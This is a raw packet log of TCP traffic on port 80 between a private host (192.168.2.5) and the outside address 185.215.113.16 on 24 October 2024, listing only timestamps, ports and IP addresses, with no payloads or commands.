Oct 24, 2024 19:30:09.420258045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420270920 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420293093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420296907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420312881 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420324087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420335054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420341969 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420350075 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420361996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420366049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420376062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420380116 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420393944 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420399904 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420403004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420408964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420414925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420417070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420433998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420439959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420447111 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420464993 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420488119 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420731068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420746088 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420762062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420775890 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420777082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420794010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420799971 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420809031 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420821905 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420825005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420840025 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420846939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420855045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420869112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420870066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420883894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420898914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420903921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420913935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420927048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420929909 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420944929 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420945883 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420960903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420968056 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420974970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420991898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421010017 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421076059 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421091080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421106100 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421119928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421122074 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421129942 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421135902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421147108 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421149015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421164036 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421168089 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421180010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421196938 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421207905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421216011 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421222925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421237946 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421243906 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421253920 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421267986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421267986 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421281099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421282053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421299934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421303988 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421314955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421338081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421344042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421367884 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421382904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421396971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421405077 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421421051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421430111 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421436071 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421444893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421451092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421458006 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421466112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421474934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421479940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421483994 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421494961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421495914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421511889 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421518087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421530008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421538115 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421549082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421571016 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421686888 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421700954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421730995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421737909 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421742916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421765089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421777010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421781063 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421793938 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421803951 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421808958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421808958 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421825886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421830893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421838999 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421849012 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421854973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.421869040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421886921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.421891928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487509012 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487525940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487550020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487565041 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487566948 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487581968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487586975 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487593889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487597942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487613916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487616062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487638950 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487679005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487680912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487694979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487710953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487716913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487726927 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487730980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487742901 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487747908 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487760067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487767935 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487788916 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487796068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487807035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487809896 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487826109 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487831116 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487842083 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487849951 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487858057 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487864971 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487874031 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.487890005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487895966 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.487914085 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488070011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488099098 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488114119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488123894 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488131046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488133907 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488147020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488161087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488162994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488168955 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488178015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488192081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488193035 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488204956 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488208055 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488223076 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488230944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488238096 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488251925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488253117 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488266945 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488277912 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488281965 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488298893 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488305092 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488315105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488322973 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488332033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488346100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488348007 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488364935 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488378048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488408089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488421917 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488446951 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488460064 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488462925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488467932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488480091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488482952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488501072 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488503933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488518953 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488519907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488543987 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488543987 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488557100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488559008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488570929 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488574028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488590002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488594055 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488607883 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488615990 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488625050 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488629103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488641024 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488642931 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488662004 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488672018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488682032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488713026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488929033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488941908 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488956928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488971949 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.488972902 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.488986969 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489002943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489005089 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489017963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489032030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489032984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489051104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489058971 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489065886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489067078 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489080906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489094019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489097118 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489106894 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489113092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489128113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489129066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489151955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489151955 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489166975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489171028 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489182949 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489192009 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489200115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489217997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489231110 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489233017 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489247084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489248037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489270926 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489295006 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489314079 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489331007 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489341021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489413023 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489425898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489473104 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489535093 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489557981 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489569902 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489573002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489588976 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489599943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489607096 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489619017 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489620924 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489636898 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489638090 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489651918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489658117 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489670992 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489685059 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489691019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489701033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489716053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489731073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489746094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489753008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489762068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489784956 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489798069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489803076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489828110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489842892 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489856005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489944935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489959955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489975929 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.489986897 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.489990950 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490005970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490015030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490015030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490020990 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490036011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490036964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490052938 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490058899 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490072966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490072966 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490088940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490103960 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490113974 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490118980 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490137100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490139008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490156889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490175009 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490201950 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490221977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490236998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490243912 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490262985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490283012 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490319967 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490334988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490350962 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490366936 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490370035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490381002 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490384102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490403891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490427971 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490472078 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490487099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490503073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490509987 CEST	49959	80	192.168.2.5	185.215.113.16
